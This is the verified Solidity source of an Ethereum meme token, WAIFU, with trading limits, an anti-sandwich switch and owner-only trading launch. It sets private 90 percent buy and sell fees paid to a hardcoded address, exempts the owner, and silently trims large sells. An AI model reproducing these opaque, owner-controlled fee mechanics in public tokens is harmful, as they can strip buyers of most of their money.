Contract Source Code:
File 1 of 1 : WAIFU
/**
*Submitted for verification at Etherscan.io on 2023-08-28
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(
address owner,
address spender
) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createInitialSupply(
address account,
uint256 amount
) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
contract WAIFU is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address taxAddress;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool private antiBot = false;
uint256 private transferCount = 0;
// Anti-sandwithc-bot mappings and variables
mapping(address => uint256) private _holderLastBuyBlock; // to hold last Buy temporarily
mapping(address => uint256) private _transferCountMap;
bool public transferDelayEnabled = true;
uint256 private buyFee;
uint256 private sellFee;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event ExcludeFromFees(address indexed account, bool isExcluded);
constructor() ERC20(unicode"MikuDvaRemNezukoAsunaMYWAIFU", "WAIFU") {
address newOwner = msg.sender; // can leave alone if owner is deployer.
IDexRouter _dexRouter = IDexRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
dexRouter = _dexRouter;
// create pair
lpPair = IDexFactory(_dexRouter.factory()).createPair(
address(this),
_dexRouter.WETH()
);
_excludeFromMaxTransaction(address(lpPair), true);
_excludeFromMaxTransaction(address(dexRouter), true);
_setAutomatedMarketMakerPair(address(lpPair), true);
uint256 totalSupply = 2 * 1e9 * 1e18;
maxBuyAmount = (totalSupply * 1) / 100;
maxSellAmount = (totalSupply * 1) / 100;
maxWalletAmount = (totalSupply * 1) / 100;
swapTokensAtAmount = (totalSupply * 5) / 1000;
buyFee = 90;
sellFee = 90;
_excludeFromMaxTransaction(newOwner, true);
_excludeFromMaxTransaction(address(this), true);
_excludeFromMaxTransaction(address(0xdead), true);
excludeFromFees(newOwner, true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
taxAddress = address(0xa1E1CB0BBB825D1a5406D241DB3c807DDCB78a7f);
_createInitialSupply(newOwner, totalSupply);
transferOwnership(newOwner);
}
receive() external payable {}
// remove limits after token is stable
function removeLimits() external onlyOwner {
limitsInEffect = false;
buyFee = 0;
sellFee = 0;
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
_isExcludedMaxTransactionAmount[updAds] = isExcluded;
}
function excludeFromMaxTransaction(
address updAds,
bool isEx
) external onlyOwner {
if (!isEx) {
require(updAds != lpPair, "Cannot remove uniswap pair from max txn");
}
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) external onlyOwner {
require(
pair != lpPair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
emit SetAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_excludeFromMaxTransaction(pair, value);
emit SetAutomatedMarketMakerPair(pair, value);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function updateAntiBot(bool flag) public onlyOwner {
antiBot = flag;
}
function enableTrading() external onlyOwner {
require(!tradingActive, "Cannot reenable trading");
tradingActive = true;
emit EnabledTrading();
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// anti sandwich bot
if (antiBot) {
if (
!automatedMarketMakerPairs[to] &&
to != address(this) &&
to != address(dexRouter) &&
_holderLastBuyBlock[to] != block.number
) {
_holderLastBuyBlock[to] = block.number;
_transferCountMap[to] = transferCount;
}
if (_holderLastBuyBlock[from] == block.number) {
require(
_transferCountMap[from] + 1 == transferCount,
"_transfer:: Anti sandwich bot enabled. Please try again later."
);
}
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxBuyAmount,
"Buy transfer amount exceeds the max buy."
);
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max wallet"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
if (amount > maxSellAmount) {
amount = maxSellAmount;
}
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWalletAmount,
"Cannot Exceed max tokens per wallet"
);
}
}
}
// uint256 contractTokenBalance = balanceOf(address(this));
// bool canSwap = contractTokenBalance >= swapTokensAtAmount;
// if (
// canSwap &&
// !swapping &&
// !automatedMarketMakerPairs[from] &&
// !_isExcludedFromFees[from] &&
// !_isExcludedFromFees[to]
// ) {
// swapping = true;
// swapBack();
// swapping = false;
// }
// only take fees on buys/sells, do not take on wallet transfers
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
uint256 fees = 0;
// on sell
if (automatedMarketMakerPairs[to] && sellFee > 0) {
fees = (amount * sellFee) / 100;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyFee > 0) {
fees = (amount * buyFee) / 100;
}
if (fees > 0) {
super._transfer(from, taxAddress, fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
transferCount += 1;
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
_approve(address(this), address(dexRouter), tokenAmount);
// make the swap
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
taxAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 2) {
contractBalance = swapTokensAtAmount * 2;
}
bool success;
swapTokensForEth(contractBalance);
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
(success, ) = address(taxAddress).call{value: ethBalance}("");
}
}
}